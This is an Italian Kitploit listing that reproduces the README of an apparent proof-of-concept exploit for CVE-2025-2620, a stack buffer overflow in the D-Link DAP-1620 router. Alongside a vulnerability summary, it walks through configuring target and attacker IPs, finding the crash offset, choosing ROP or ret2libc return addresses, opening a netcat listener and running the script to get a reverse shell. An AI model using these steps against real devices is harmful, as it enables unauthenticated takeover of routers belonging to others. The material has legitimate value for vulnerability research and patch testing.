Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2620-poc | Kitploit
Strumenti/GitHubGitHub/otsmane-ahmed/cve-2025-2620-poc
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo PayloadBinary Exploitation
1611 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
otsmane-ahmed/cve-2025-2620-poc

CVE-2025-2620-poc

Vedi Repository

Exploit Proof-of-Concept per CVE-2025-2620

Panoramica

Questa repository contiene un exploit proof-of-concept (PoC) avanzato per CVE-2025-2620, una vulnerabilità critica di buffer overflow basato su stack scoperta nel router D-Link DAP-1620 con versione firmware 1.03. Questa vulnerabilità consente a remoti attaccanti non autenticati di causare il crash del server web del router (Denial-of-Service, DoS) e potenzialmente di eseguire codice arbitrario (Remote Code Execution, RCE).

Lo scopo di questo progetto è dimostrare competenze nello sviluppo di exploit.

Dettagli della Vulnerabilità

Descrizione CVE

CVE-2025-2620 riguarda la funzione mod_graph_auth_uri_handler del router D-Link DAP-1620, in particolare all'interno dell'endpoint /storage. La vulnerabilità è causata da un controllo dei limiti non corretto, che consente a un attaccante di inviare un input di grandi dimensioni che supera la dimensione del buffer allocato, portando a un buffer overflow basato su stack.

Impatto

  • Denial-of-Service (DoS): Causa il crash del server HTTP del router, rendendolo non responsive fino a un riavvio.
  • Remote Code Execution (RCE): Gli attaccanti possono sovrascrivere l'indirizzo di ritorno ed eseguire codice arbitrario sull'architettura basata su MIPS del router.
  • Nessuna Autenticazione Richiesta: La vulnerabilità può essere sfruttata da remoto senza credenziali, aumentandone la gravità.

Analisi Tecnica

La funzione vulnerabile elabora un parametro di autenticazione (auth) dalle richieste HTTP:

root@kitploit:~
void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

Un attaccante che invia un payload sovradimensionato (ad es., 1024+ byte) sovrascrive la memoria adiacente, incluso l'indirizzo di ritorno della funzione, portando potenzialmente all'esecuzione di codice.

Punteggio CVSS v3.1: 9.8 (Critico)

Dispositivi Interessati

Il D-Link DAP-1620 è un range extender Wi-Fi con le seguenti specifiche:

  • CPU: Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
  • RAM: 64 MB
  • Flash: 16 MB
  • Wi-Fi: Dual-band 802.11ac
  • Firmware: 1.03 (confermato vulnerabile)

Altri router/range extender D-Link con firmware simile potrebbero essere anch'essi interessati.

Timeline di Divulgazione

  • 22 marzo 2025 – CVE-2025-2620 pubblicato su NVD/MITRE.
  • 22 marzo 2025 – Questo PoC sviluppato e testato.
  • 22 marzo 2025 – Nessuna patch ufficiale da parte di D-Link a questa data.

Dettagli dell'Exploit PoC

Caratteristiche

PoC combinato – Include sia il test del buffer overflow sia l'exploit RCE.
Test del buffer overflow basato su stack – Identifica i router vulnerabili.
Exploit completo di remote code execution (RCE) – Avvia una reverse shell.
Dimensione del payload e indirizzo di ritorno configurabili – Adattabile a diversi modelli di router.
Debugging avanzato – Registra gli offset del crash per perfezionare i parametri dell'exploit.

Installazione e Utilizzo

Passo 1: Clonare la Repository

root@kitploit:~
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Passo 2: Installare le Dipendenze

Assicurati di avere Python3 e pwntools installati:

root@kitploit:~
pip install pwntools

Passo 3: Configurare l'Exploit

Modifica lo script CVE-2025-2620_poc.py:

Imposta l'IP del router:

root@kitploit:~
TARGET_IP = "192.168.0.1"  # change to match your router

Imposta l'IP della tua macchina di attacco:

root@kitploit:~
ATTACKER_IP = "192.168.0.100"  # change to your local IP
ATTACKER_PORT = 4444  # change if needed

Regola la dimensione del buffer se necessario:

root@kitploit:~
BUFFER_SIZE = 8000  # Increase if the router does not crash

Trova l'offset EIP e imposta l'indirizzo di ritorno:

Passo 1: Inviare un Pattern Ciclico

Modifica il PoC per generare un pattern univoco e inviarlo:

root@kitploit:~
MODE = "overflow"  # Set to "overflow" to find the offset

Esegui lo script:

root@kitploit:~
python3 CVE-2025-2620_poc.py
Passo 2: Controllare l'Indirizzo del Crash

Dopo aver mandato in crash il router, controlla l'indirizzo di segfault (EIP su x86 o RA su MIPS) da:

  • Log del router
  • Debugger (gdb)
  • dmesg | grep 'segfault'

Cerca un indirizzo come 0x61616161 (che significa che parte del pattern ciclico ha sovrascritto il puntatore di ritorno).

Passo 3: Trovare l'Offset

Usa cyclic_find per individuare l'offset esatto:

root@kitploit:~
from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Replace with the crash address

Questo fornisce il valore esatto di OFFSET. Aggiorna il tuo PoC:

root@kitploit:~
OFFSET = <FOUND OFFSET>  # Replace with the actual number
Passo 4: Trovare un Indirizzo di Ritorno Adatto (RET_ADDR)
  • Opzione 1: Trovare un Gadget JMP o CALL

    root@kitploit:~
    ROPgadget --binary vulnerable_binary | grep "jmp"
    

    Scegli un indirizzo che salti a un registro (ad es., jmp $sp o jmp $ra).

  • Opzione 2: Usare un Indirizzo ret2libc Trova l'indirizzo di system() in libc:

    root@kitploit:~
    objdump -D /lib/libc.so.6 | grep "system"
    

    Poi usalo come RET_ADDR:

    root@kitploit:~
    RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Replace with actual address
    

Passo 4: Avviare un Listener

root@kitploit:~
nc -lvnp 4444

Passo 5: Eseguire l'Exploit

root@kitploit:~
python3 CVE-2025-2620_poc.py --mode rce

Sviluppato con ❤️ da Otsmane Ahmed

Scarica lo strumento
MetricaValore
Vettore di AttaccoRete
Complessità di AttaccoBassa
Privilegi RichiestiNessuno
Interazione dell'UtenteNessuna
Impatto sulla RiservatezzaAlto
Impatto sull'IntegritàAlto
Impatto sulla DisponibilitàAlto